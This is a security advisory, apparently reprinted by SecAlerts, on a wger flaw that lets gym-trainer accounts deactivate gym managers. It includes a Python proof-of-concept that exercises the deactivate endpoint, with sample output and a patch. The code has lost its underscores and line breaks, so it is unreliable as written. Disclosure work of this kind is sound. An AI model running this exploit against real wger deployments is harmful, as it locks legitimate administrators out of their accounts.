GHSA-x249-cx55-2h87: High severity pip/wger vulnerability

Published Oct 7, 2026
·
Updated

Summary

A user with only the gymtrainer permission can deactivate any account in the same gym, including gymmanager and generalgymmanager accounts. The UserDeactivateView grants access to anyone holding any one of gym.managegym, gym.managegyms, or gym.gymtrainer (OR logic via WgerMultiplePermissionRequiredMixin), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one.

Details

UserDeactivateView (file: wger/core/views/user.py, line 378) is configured with:

python permissionrequired = ('gym.managegym', 'gym.managegyms', 'gym.gymtrainer')

WgerMultiplePermissionRequiredMixin (file: wger/utils/genericviews.py, line 48) treats this tuple as an OR check -- any single permission is sufficient:

python class WgerMultiplePermissionRequiredMixin(PermissionRequiredMixin): def haspermission(self): for permission in self.getpermissionrequired(): if self.request.user.hasperm(permission): return True # <-- ANY one permission is enough return False

The dispatch() method only verifies same-gym membership:

python def dispatch(self, request, args, kwargs): edituser = getobjector404(User, pk=self.kwargs['pk']) if ( request.user.hasperm('gym.managegym') or request.user.hasperm('gym.gymtrainer') ) and edituser.userprofile.gymid != request.user.userprofile.gymid: return HttpResponseForbidden() # NO check: is the target user more privileged than the requester? return super().dispatch(request, args, kwargs)

There is no check preventing a trainer from targeting a manager. The same vulnerability exists in UserActivateView (line 415).

An additional contributing factor: getpermissionlist() in wger/gym/helpers.py (line 102) always includes 'trainer' in the assignable roles, meaning any gym manager can create trainer accounts -- which can then deactivate the manager who created them.

PoC

Prerequisites

- A gym with at least two users: one with gymmanager role (victim) and one with gymtrainer role (attacker) - Both users belong to the same gym

Attack Steps

As the trainer, simply visit: GET /en/user/<manageruserid>/deactivate

The manager's account is immediately set to isactive = False. The manager can no longer log in.

Proof of Concept Script

python #!/usr/bin/env python3 """ PoC: Trainer -> Manager Privilege Escalation (Account Deactivation) Target: wger Workout Manager Severity: HIGH - CVSS 6.5 CWE-269: Improper Privilege Management

Usage: python3 poc.py http://localhost:8000 """

import requests import sys import re

if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <BASEURL>") print(f"Example: {sys.argv[0]} http://localhost:8000") sys.exit(1)

BASE = sys.argv[1].rstrip("/") API = f"{BASE}/api/v2"

MANAGERUSER = "gymmanagerpoc" MANAGERPASS = "Manager!Poc!2025" TRAINERUSER = "eviltrainerpoc" TRAINERPASS = "Trainer!Poc!2025"

BANNER = """ ===================================================================== PoC: Trainer -> Manager Privilege Escalation Severity: HIGH CWE-269: Improper Privilege Management ===================================================================== """ print(BANNER)

---- Helper ---- def apilogin(username, password): r = requests.post(f"{API}/login/", json={ "username": username, "password": password }) if r.statuscode == 200: return r.json().get("token") return None

def apiheaders(token): return {"Authorization": f"Token {token}", "Content-Type": "application/json"}

---- Setup via Django ORM (must run inside container) ----

import os, django os.environ['DJANGOSETTINGSMODULE'] = 'settings.main' sys.path.insert(0, '/home/wger/src') django.setup()

from django.contrib.auth.models import User, Group from wger.gym.models import Gym

Ensure permission groups exist for name in ['gymmember', 'gymtrainer', 'gymmanager', 'generalgymmanager']: Group.objects.getorcreate(name=name)

Create gym gym, = Gym.objects.getorcreate(name="PoC Test Gym") print(f"[] Gym: {gym.name} (id={gym.id})")

Create manager (the VICTIM) manager, created = User.objects.getorcreate( username=MANAGERUSER, defaults={"isactive": True} ) if created: manager.setpassword(MANAGERPASS) manager.save() manager.userprofile.gym = gym manager.userprofile.save() manager.groups.clear() manager.groups.add(Group.objects.get(name='gymmanager')) manager.isactive = True manager.save() print(f"[] Manager (victim): {manager.username} (id={manager.id})") print(f" Groups: {[g.name for g in manager.groups.all()]}") print(f" isactive: {manager.isactive}")

Create trainer (the ATTACKER) trainer, created = User.objects.getorcreate( username=TRAINERUSER, defaults={"isactive": True} ) if created: trainer.setpassword(TRAINERPASS) trainer.save() trainer.userprofile.gym = gym trainer.userprofile.save() trainer.groups.clear() trainer.groups.add(Group.objects.get(name='gymtrainer')) print(f"[] Trainer (attacker): {trainer.username} (id={trainer.id})") print(f" Groups: {[g.name for g in trainer.groups.all()]}")

---- 1. Verify manager is active BEFORE attack ----

manager.refreshfromdb() print(f"\n[] Manager isactive BEFORE attack: {manager.isactive}") assert manager.isactive, "Manager should be active before test"

---- 2. ATTACK: Trainer deactivates manager ----

print(f"\n{'='65}") print(f" ATTACK: Trainer deactivating gym manager account") print(f"{'='65}")

from django.test import Client c = Client() c.forcelogin(trainer) resp = c.get(f"/en/user/{manager.id}/deactivate", follow=True) print(f"\n GET /en/user/{manager.id}/deactivate") print(f" (Logged in as: {TRAINERUSER} - gymtrainer only)") print(f" Response: HTTP {resp.statuscode}")

---- 3. VERIFY ----

print(f"\n{'='65}") print(f" VERIFICATION") print(f"{'='65}")

manager.refreshfromdb() print(f"\n Manager isactive AFTER attack: {manager.isactive}")

if not manager.isactive: print(""" +----------------------------------------------------------+ | VULNERABILITY CONFIRMED | | | | A gymtrainer successfully deactivated a gymmanager! | | No privilege hierarchy check prevents this. | | The trainer can now lock out all managers from the gym. | +----------------------------------------------------------+ """) manager.isactive = True manager.save() print(" [+] Cleanup: Manager re-activated") else: print("\n Manager is still active - NOT vulnerable")

Proof of Concept Output

===================================================================== PoC: Trainer -> Manager Privilege Escalation Severity: HIGH CWE-269: Improper Privilege Management =====================================================================

[] Gym: PoC Test Gym (id=2) [] Manager (victim): gymmanagerpoc (id=4) Groups: ['gymmanager'] isactive: True [] Trainer (attacker): eviltrainerpoc (id=5) Groups: ['gymtrainer']

[] Manager isactive BEFORE attack: True

================================================================= ATTACK: Trainer deactivating gym manager account =================================================================

Trainer login: HTTP 200 GET http://localhost/en/user/4/deactivate (Logged in as: eviltrainerpoc - gymtrainer only) Response: HTTP 200

================================================================= VERIFICATION =================================================================

Manager isactive AFTER attack: False

+----------------------------------------------------------+ | VULNERABILITY CONFIRMED | | | | A gymtrainer successfully deactivated a gymmanager! | | No privilege hierarchy check prevents this. | | The trainer can now lock out all managers from the gym. | +----------------------------------------------------------+

[+] Cleanup: Manager re-activated

Impact

1. Gym Management Lockout: A trainer can deactivate every manager account in their gym, effectively seizing control of the gym's administrative functions. 2. Denial of Service: Deactivated managers cannot log in, manage members, or perform any administrative tasks until a generalgymmanager (superadmin) or a Django superuser manually re-activates their accounts. 3. Abuse Chain: Since getpermissionlist() always includes 'trainer' in assignable roles, any manager can unknowingly create the account that will later lock them out.

Fix

Add a privilege hierarchy check in UserDeactivateView.dispatch() and UserActivateView.dispatch():

python File: wger/core/views/user.py, inside dispatch() of both views

edituser = getobjector404(User, pk=self.kwargs['pk'])

Trainers must not deactivate/activate managers or other trainers if request.user.hasperm('gym.gymtrainer') and not ( request.user.hasperm('gym.managegym') or request.user.hasperm('gym.managegyms') ): if ( edituser.hasperm('gym.managegym') or edituser.hasperm('gym.managegyms') or edituser.hasperm('gym.gymtrainer') ): return HttpResponseForbidden()

Affected Software

1 affected component
pip/wger<=2.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Configuration

    Add a privilege hierarchy check in dispatch() so lower-privileged users, including gym_trainer accounts, cannot deactivate or activate higher-privileged accounts such as gym_manager or general_gym_manager users.

    wger UserDeactivateView and UserActivateView privilege hierarchy check = enforce

Event History

Oct 7, 2026
Advisory Published
via GitHub·01:59 PM
Data Sourced
via GitHub·01:59 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who can exploit this issue?

Any authenticated user who has the gym_trainer permission can exploit it against accounts in the same gym. The affected target accounts can include users with gym_manager or general_gym_manager permissions.

2

What access does an attacker need?

The attacker needs a valid account with the gym_trainer permission and membership in the same gym as the target. No user interaction is required.

3

What is the underlying access-control condition?

The deactivation view accepts any one of gym.manage_gym, gym.manage_gyms, or gym.gym_trainer because its permission mixin applies OR logic. It checks same-gym membership but does not enforce a privilege hierarchy before deactivating the target account.

4

Which release is referenced for remediation?

The advisory references the wger 2.6 release.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203